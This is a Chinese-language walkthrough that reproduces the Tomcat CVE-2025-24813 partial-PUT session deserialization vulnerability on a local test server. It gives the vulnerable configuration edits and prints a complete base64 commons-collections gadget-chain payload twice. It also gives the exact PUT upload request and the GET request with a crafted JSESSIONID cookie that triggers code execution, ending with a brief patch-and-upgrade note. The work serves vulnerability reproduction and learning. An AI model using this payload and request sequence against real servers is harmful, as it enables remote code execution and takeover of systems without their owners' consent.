Tomcat CVE-2025-24813漏洞复现

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Tomcat严重漏洞CVE-2025-24813可致远程代码执行,影响11.0.2/10.1.34/9.0.98等版本,攻击者利用PUT请求上传恶意会话文件即可接管服务器。立即升级至11.0.3/10.1.35/9.0.99并禁用可写配置是关键。

Apache Tomcat中的严重漏洞编号为CVE-2025-24813,主要源于文件路径的不当处理,特别是在处理包含内部点(如file.Name)的文件路径时。这个漏洞可能允许攻击者绕过安全控制,触发远程代码执行(RCE)、信息泄露以及恶意内容注入等严重问题。

此次漏洞影响的Tomcat版本范围广泛,包括11.0.0-M1至11.0.2、10.1.0-M1至10.1.34,以及9.0.0.M1至9.0.98。幸运的是,Apache已经针对这些版本发布了补丁,以解决该漏洞带来的问题。该漏洞的具体原因是Tomcat默认servlet中的路径等效问题,该问题在特定配置下会导致HTTP PUT请求的文件上传处理出错。

1.漏洞触发条件:

1.应用程序启用了DefaultServlet写入功能

2.应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启

3.应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置

4.应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

2.环境:

java1.8.0_202

tomcat9.0.63  (archive.apache.org/dist/tomcat…

commons-collections-3.2.1.jar  反序列化漏洞库  (repo1.maven.org/maven2/comm…

3.工具:

yakit (github.com/yaklang/yak…

4. 漏洞复现

1.将commons-collections-3.2.1.jar 复制到 tomcat lib目录

image-20250617130024815

  1. 编辑tomcat   conf/context.xml 文件

    增加

    <ManagerclassName="org.apache.catalina.session.PersistentManager">  <StoreclassName="org.apache.catalina.session.FileStore"/></Manager>
    
                WEB-INF/web.xml    WEB-INF/tomcat-web.xml    ${catalina.base}/conf/web.xml                      
  2. 编辑tomcat conf/web.xml,将DefaultServlet的readonly配置为false

        <servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>false</param-value>        </init-param>         <init-param>            <param-name>readonly</param-name>            <param-value>false</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>
    
  3. 启动tomcat ,打开浏览器输入localhost:8080,看到一下页面则代表启动成功

    image-20250617131407022

  4. 首先需要构建反序列化攻击链,使用Yakit打开,比如我这里用的commons-collections,去找commons-collections的链子:

    image-20250617131640999

image-20250617131658600

生成的base64如下:

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
  1. 成一个恶意的序列化文件,使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。

image-20250617131955274

PUT/chaoge/sessionHTTP/1.1Host: 127.0.0.1:8080Content-Range: bytes 0-3000/3200Content-Length: 3000{{base64dec(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)}}
  1. 触发漏洞

    image-20250617132203880

GET/HTTP/1.1Host: 127.0.0.1:8080Cookie: JSESSIONID=.chaoge

成功弹出计算器,复现成功

防御措施

  • 打补丁

  • 升级到无漏洞版本

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